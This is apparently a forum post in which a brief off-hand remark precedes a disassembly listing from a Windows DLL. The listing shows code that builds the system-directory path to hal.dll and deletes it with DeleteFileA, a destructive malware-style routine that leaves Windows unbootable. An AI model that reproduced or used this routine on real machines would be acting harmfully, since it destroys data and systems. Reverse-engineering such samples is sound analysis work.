why u dont talk english |: damn ...
.text:10001044 call ebx; GetSystemDirectoryA .text:10001046 mov edi, offset aHal_dll; "\hal.dll" .text:1000104B or ecx, 0FFFFFFFFh .text:1000104E xor eax, eax .text:10001050 mov ebp, ds:DeleteFileA .text:10001056 repne scasb .text:10001058 not ecx .text:1000105A sub edi, ecx .text:1000105C push offset Buffer ; lpFileName .text:10001061 mov esi, edi .text:10001063 mov edx, ecx .text:10001065 mov edi, offset Buffer .text:1000106A or ecx, 0FFFFFFFFh .text:1000106D repne scasb .text:1000106F mov ecx, edx .text:10001071 dec edi .text:10001072 shr ecx, 2 .text:10001075 rep movsd .text:10001077 mov ecx, edx .text:10001079 and ecx, 3 .text:1000107C rep movsb .text:1000107E call ebp; DeleteFileA